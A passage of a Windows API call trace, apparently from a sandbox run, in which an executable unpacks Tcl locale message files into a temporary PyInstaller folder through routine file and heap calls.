54 [0037.090] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.090] GetFileType (hFile=0x10c) returned 0x1 [0037.090] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.090] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.090] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.090] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.090] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.090] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.090] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.090] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.090] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.090] CloseHandle (hObject=0x10c) returned 1 [0037.090] GetLastError () returned 0x0 [0037.090] SetLastError (dwErrCode=0x0) [0037.090] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_gb.msg") returned 64 [0037.090] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_gb.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_gb.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.090] GetLastError () returned 0x2 [0037.090] SetLastError (dwErrCode=0x2) [0037.090] GetLastError () returned 0x2 [0037.090] SetLastError (dwErrCode=0x2) [0037.090] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_gb.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_gb.msg", lpFilePart=0x0) returned 0x3f [0037.090] GetLastError () returned 0x2 [0037.090] SetLastError (dwErrCode=0x2) [0037.090] GetLastError () returned 0x2 [0037.091] SetLastError (dwErrCode=0x2) [0037.091] GetLastError () returned 0x2 [0037.091] SetLastError (dwErrCode=0x2) [0037.091] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_gb.msg") returned 64 [0037.091] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.091] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_gb.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_gb.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.091] GetFileType (hFile=0x10c) returned 0x1 [0037.091] htonl (hostlong=0x17010000) returned 0x117 [0037.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.091] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x117, lpOverlapped=0x0) returned 1 [0037.092] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.092] CloseHandle (hObject=0x10c) returned 1 [0037.093] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.093] htonl (hostlong=0x30000000) returned 0x30 [0037.093] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.093] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.093] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.093] GetFileType (hFile=0x10c) returned 0x1 [0037.093] htonl (hostlong=0x51435700) returned 0x574351 [0037.093] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf351, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.093] htonl (hostlong=0xa9000000) returned 0xa9 [0037.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa9) returned 0x55cfe0 [0037.093] htonl (hostlong=0xa9000000) returned 0xa9 [0037.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.093] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.093] htonl (hostlong=0x41010000) returned 0x141 [0037.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x141) returned 0x550600 [0037.093] htonl (hostlong=0xa9000000) returned 0xa9 [0037.093] htonl (hostlong=0x41010000) returned 0x141 [0037.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.093] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.093] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.093] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.093] CloseHandle (hObject=0x10c) returned 1 [0037.093] GetLastError () returned 0x0 [0037.093] SetLastError (dwErrCode=0x0) [0037.094] GetLastError () returned 0x0 [0037.094] SetLastError (dwErrCode=0x0) [0037.094] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.094] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.094] GetFileType (hFile=0x10c) returned 0x1 [0037.094] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.094] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.094] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.094] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.094] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.094] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.094] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.094] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.094] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.094] CloseHandle (hObject=0x10c) returned 1 [0037.094] GetLastError () returned 0x0 [0037.094] SetLastError (dwErrCode=0x0) [0037.094] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.094] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.094] GetFileType (hFile=0x10c) returned 0x1 [0037.094] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.094] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.094] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.094] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.095] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.095] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.095] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.095] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.095] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.095] CloseHandle (hObject=0x10c) returned 1 [0037.095] GetLastError () returned 0x0 [0037.095] SetLastError (dwErrCode=0x0) [0037.095] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_hk.msg") returned 64 [0037.095] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_hk.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_hk.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.095] GetLastError () returned 0x2 [0037.095] SetLastError (dwErrCode=0x2) [0037.095] GetLastError () returned 0x2 [0037.095] SetLastError (dwErrCode=0x2) [0037.095] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_hk.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_hk.msg", lpFilePart=0x0) returned 0x3f [0037.095] GetLastError () returned 0x2 [0037.095] SetLastError (dwErrCode=0x2) [0037.095] GetLastError () returned 0x2 [0037.095] SetLastError (dwErrCode=0x2) [0037.095] GetLastError () returned 0x2 [0037.096] SetLastError (dwErrCode=0x2) [0037.096] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_hk.msg") returned 64 [0037.096] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_hk.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_hk.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.096] GetFileType (hFile=0x10c) returned 0x1 [0037.096] htonl (hostlong=0x41010000) returned 0x141 [0037.096] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.096] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x141, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x141, lpOverlapped=0x0) returned 1 [0037.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.097] CloseHandle (hObject=0x10c) returned 1 [0037.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.097] htonl (hostlong=0x30000000) returned 0x30 [0037.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.098] GetFileType (hFile=0x10c) returned 0x1 [0037.098] htonl (hostlong=0xfa435700) returned 0x5743fa [0037.098] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf3fa, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.098] htonl (hostlong=0x9e000000) returned 0x9e [0037.098] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x55cfe0 [0037.098] htonl (hostlong=0x9e000000) returned 0x9e [0037.098] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.098] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.098] htonl (hostlong=0x17010000) returned 0x117 [0037.098] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x117) returned 0x550600 [0037.098] htonl (hostlong=0x9e000000) returned 0x9e [0037.098] htonl (hostlong=0x17010000) returned 0x117 [0037.098] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.098] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.098] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.098] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.098] CloseHandle (hObject=0x10c) returned 1 [0037.098] GetLastError () returned 0x0 [0037.098] SetLastError (dwErrCode=0x0) [0037.098] GetLastError () returned 0x0 [0037.098] SetLastError (dwErrCode=0x0) [0037.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.099] GetFileType (hFile=0x10c) returned 0x1 [0037.099] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.099] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.099] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.099] CloseHandle (hObject=0x10c) returned 1 [0037.099] GetLastError () returned 0x0 [0037.099] SetLastError (dwErrCode=0x0) [0037.099] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.099] GetFileType (hFile=0x10c) returned 0x1 [0037.099] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.099] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.100] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.100] CloseHandle (hObject=0x10c) returned 1 [0037.100] GetLastError () returned 0x0 [0037.100] SetLastError (dwErrCode=0x0) [0037.100] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ie.msg") returned 64 [0037.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ie.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_ie.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.100] GetLastError () returned 0x2 [0037.100] SetLastError (dwErrCode=0x2) [0037.100] GetLastError () returned 0x2 [0037.100] SetLastError (dwErrCode=0x2) [0037.100] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ie.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ie.msg", lpFilePart=0x0) returned 0x3f [0037.100] GetLastError () returned 0x2 [0037.100] SetLastError (dwErrCode=0x2) [0037.100] GetLastError () returned 0x2 [0037.100] SetLastError (dwErrCode=0x2) [0037.100] GetLastError () returned 0x2 [0037.100] SetLastError (dwErrCode=0x2) [0037.100] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ie.msg") returned 64 [0037.100] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ie.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_ie.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.100] GetFileType (hFile=0x10c) returned 0x1 [0037.100] htonl (hostlong=0x17010000) returned 0x117 [0037.101] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.101] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x117, lpOverlapped=0x0) returned 1 [0037.102] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.102] CloseHandle (hObject=0x10c) returned 1 [0037.102] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.102] htonl (hostlong=0x30000000) returned 0x30 [0037.102] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.102] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.102] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.102] GetFileType (hFile=0x10c) returned 0x1 [0037.102] htonl (hostlong=0x98445700) returned 0x574498 [0037.103] SetFilePointerEx (in: hFile=0x10c, 